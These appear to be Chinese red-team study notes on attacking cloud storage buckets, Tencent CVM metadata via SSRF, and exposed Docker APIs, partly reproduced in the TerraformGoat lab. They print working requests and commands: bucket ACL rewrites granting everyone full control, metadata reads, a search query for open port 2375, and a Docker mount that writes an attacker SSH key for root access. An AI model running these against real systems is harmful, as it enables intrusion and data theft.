参考资料:
华为云安全Check List表单.xlsx
华为云安全加固指导书.docx
T Wiki
红队视角下的公有云基础组件安全
1.存储桶常见漏洞
https://github.com/libaibaia/BucketVulTools Burpsuite存储桶配置不当漏洞检测插件
1
2
3
4
5
6
|
腾讯COS:https://cloud.tencent.com/product/cos
阿里OSS:https://www.aliyun.com/product/oss
百度BOS:https://cloud.baidu.com/product/bos.html
华为OBS:https://www.huaweicloud.com/product/obs.html
七牛Kodo:https://www.qiniu.com/products/kodo
又拍云USS:https://www.upyun.com/products/file-storage
|
https://github.com/HXSecurity/TerraformGoat
【安全科普】OSS存储桶漏洞总结
阿里云 OSS对象存储攻防
【云安全】云服务-对象存储-安全问题分析_阿里云oss公共读 安全吗-CSDN博客
1.1.Bucket权限配置错误-公开访问
在创建Bucket桶时,默认是private的权限,如果在错误的配置下,给了listobject权限,就会导致可遍历存储桶,但是现在默认给你开通了阻止公共访问设置(可在 Bucket 创建后,在 OSS 控制台或通过接口来关闭阻止公共访问功能。)



2、如果想列出Object对象,只需要在Bucket授权策略中设置ListObject即可


第二种情况,是开启了“写”的权限。默认情况未开启,PUT操作返回403

开启后,PUT返回200,成功上传文件


使用ossx工具可以遍历下载全部文件,工具地址https://github.com/source-xu/oss-x
1.2.存储桶接管(阿里云目前已修复)
利用条件相对苛刻一些,需要域名曾解析并绑定了一个存储桶也就是网站托管,存储桶被删除,但域名解析的 CNAME未删除,此时访问时会显示NoSuchBucket。
1.3.Bucket桶爆破
当不知道 Bucket 名称的时候,可以通过爆破获得 Bucket 名称,这有些类似于目录扫描,只不过目录一般通过状态码判断,这里通过页面的内容判断。
NoSuchBucket:存储桶不存在。

InvalidBucketName:存储桶的名称不符合规范,属于无效的存储桶名称。

AccessDenied:存在,但无权限访问。

成功访问。

1.4.任意文件上传与任意文件覆盖
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
PUT /a.txt HTTP/1.1
Host: lsec.oss-cn-wuhan-lr.aliyuncs.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close
Content-Length: 9
123111134
|
1.5.存储桶列桶
1
|
https://xxx-cos-xxxx.cos.ap-guangzhou.myqcloud.com/?uploads 列出所有存储桶
|
1.5.1.配置问题导致访问直接列桶

1.5.2.Policy注入导致列桶

1.5.3.预签名列桶
1
2
3
4
|
POST /api/xxx/xxx/cos
{url:http://xxxxx-aliyuncs.com/} //将url改成存储桶根目录进行预签名
|
1.6.腾讯云 COS Bucket ACL 可写漏洞
https://github.com/HXSecurity/TerraformGoat/blob/main/tencentcloud/cos/bucket_acl_writable/README_CN.md
1.尝试遍历 Object,发现访问被拒绝

2.尝试读取 Bucket 的 ACL 策略,发现可以读取
1
|
https://houxian-7hg0v-1316547049.cos.ap-beijing.myqcloud.com/?acl
|

3.尝试使用 PUT 方法修改 Bucket 的 ACL 策略
1
2
3
4
5
6
|
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
<URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
</Grantee>
<Permission>FULL_CONTROL</Permission>
</Grant>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
PUT /?acl HTTP/1.1
Host: houxian-7hg0v-1316547049.cos.ap-beijing.myqcloud.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close
Content-Length: 1224
<AccessControlPolicy>
<Owner>
<ID>qcs::cam::uin/100029253378:uin/100029253378</ID>
<DisplayName>qcs::cam::uin/100029253378:uin/100029253378</DisplayName>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
<ID>qcs::cam::uin/100029253378:uin/100029253378</ID>
<DisplayName>qcs::cam::uin/100029253378:uin/100029253378</DisplayName>
</Grantee>
<Permission>FULL_CONTROL</Permission>
</Grant>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
<URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
</Grantee>
<Permission>WRITE_ACP</Permission>
</Grant>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
<URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
</Grantee>
<Permission>READ_ACP</Permission>
</Grant>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
<URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
</Grantee>
<Permission>FULL_CONTROL</Permission>
</Grant>
</AccessControlList>
</AccessControlPolicy>
|

4.再次尝试遍历 Object,发现已经可以遍历到了,说明刚才上传的 ACL 策略生效了,在返回的信息中可以看到 flag

云场景漏洞靶场:TerraformGoat,支持6家云厂商
TerraformGoat 是一个支持多云的云场景漏洞靶场搭建工具,目前支持阿里云、腾讯云、华为云、Amazon Web Services、Google Cloud Platform、Microsoft Azure 六个云厂商的云场景漏洞搭建。
2.1.安装docker
一篇文章完成Centos7安装docker-CSDN博客
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
#卸载 Docker引擎/CLI/Containerd软件包
yum remove docker-ce docker-ce-cli containerd.io
#查找出docker的相关文件夹
find -name 'docker'
#rm -rf 删除这些文件夹
rm -rf /var/lib/docker
rm -rf /var/lib/containerd
#安装所需的软件包。yum-utils 提供了 yum-config-manager ,并且 device mapper 存储驱动程序需要 device-mapper-persistent-data 和 lvm2。
yum install -y yum-utils device-mapper-persistent-data lvm2
#设置仓库为阿里源
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
或者
wget http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
cp docker-ce.repo /etc/yum.repos.d
#更新源
yum clean all && yum mackecache
#默认安装
yum install docker-ce docker-ce-cli containerd.io
#启动和查看
systemctl start docker
systemctl status docker
docker --version
docker info
|
2.2.启动项目
1
2
3
|
docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.7
docker run -itd --name terraformgoat_tencentcloud_0.0.7 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.7
docker exec -it terraformgoat_tencentcloud_0.0.7 /bin/bash
|
2.3.开启靶机
Terraform 介绍与安装 | T Wiki
1
2
3
4
5
6
7
|
#例如在腾讯云存储桶Cos上开启未授权上传任意文件靶机
cd cos/unrestricted_file_upload/
#编辑配置文件,将AK/SK密钥填入其中
cat terraform.tfvars // tencent configure
terraform init //初始化靶场
terraform apply //运行靶场,会创建一个全新的bucket
|


2.4.复现漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
PUT /test.txt HTTP/1.1
Host: hxlab-1xmqj-1316547049.cos.ap-beijing.myqcloud.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close
Content-Length: 9
111222333
|

2.5.关闭靶机
1
2
|
terraform destroy //销毁环境
注意:现在腾讯云存储桶COs中如果存在文件不能直接销毁,需要先清空里面文件才能销毁成功
|
3.弹性计算服务漏洞
云安全(三):弹性计算
3.1.腾讯云 CVM SSRF漏洞
1
2
|
terraform init //初始化靶场
terraform apply //运行靶场,会创建一个全新的bucket
|
运行后会开启一个靶场,这个需要自己购买服务器,需要钱

输入网址发送请求服务器会发送请求到Dnslog地址

先判断ip是不是云服务器ip

1
|
读取元数据 http://metadata.tencentyun.com/latest/meta-data/
|

1
|
读取用户数据:http://metadata.tencentyun.com/latest/user-data/
|

查看flag
4.K8S常见漏洞
【云原生安全】K8s安全漏洞复现
5.Docker常见漏洞
手把手搭建 k8s docker 漏洞环境
【云安全】云原生-Docker(五)容器逃逸之漏洞利用
5.1.Docker未授权漏洞
『漏洞复现』Docker 未授权漏洞
1
|
搜索语法:port:"2375" AND service: "docker"
|
5.1.1.查看版本接口

5.1.2.查看info目录

5.1.3.查看image镜像
1
|
http://ip:2375/images/json
|

5.1.4.Docker连接未授权端口
1
|
docker -H tcp://ip:2375 ps -a
|

1
2
3
|
docker -H tcp://ip:2375 images 查看镜像
docker -H tcp://1.1.1.1 stop d192a8dee160 #停止一个已经开启的容器
docker -H 1.1.1.1 exec -it 3d1c2eaa9df8 /bin/bash #连接一个容器
|

5.1.5.写公钥GetShell
1
|
ssh-keygen -t rsa #生成公钥
|

1
|
cat /root/.ssh/id_rsa.pub #查看生成的公钥
|

1
2
3
4
5
6
7
|
#挂载宿主机的/mnt目录写入公钥
docker -H tcp://1.1.1.1 run -it -v /:/mnt --entrypoint /bin/bash [images name]
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2oUPAuPkNYqvVTALPCfUDxX5yEgBsaV1s+A3Jyk83CJxWwS7e327gvtIPO1VGY4QHpZMLAoi5SdO4Ru9Wm8E2ZojVTyb5pHTDZf1XizXXCakO39u5mT0ET/rwga5NVllp2ApdL4sL9wBihvHi1dlDTBUQvArpRPgKSnrBSPSADIBc4o6GSEBU6EUJMV5rtqNexQq53636ZiLjpLLEjJBsYXDpRU46mxQJjm/LqCENHdqVsvgoGXBqcDWjGqv59yn2KqgKKPs= root@admin" > /mnt/root/.ssh/authorized_keys
#连接目标主机获取shell
ssh root@1.1.1.1 -i id_rsa
|
5.2.Docker容器逃逸漏洞
Docker API 未授权访问漏洞_dockerapi未授权访问漏洞-CSDN博客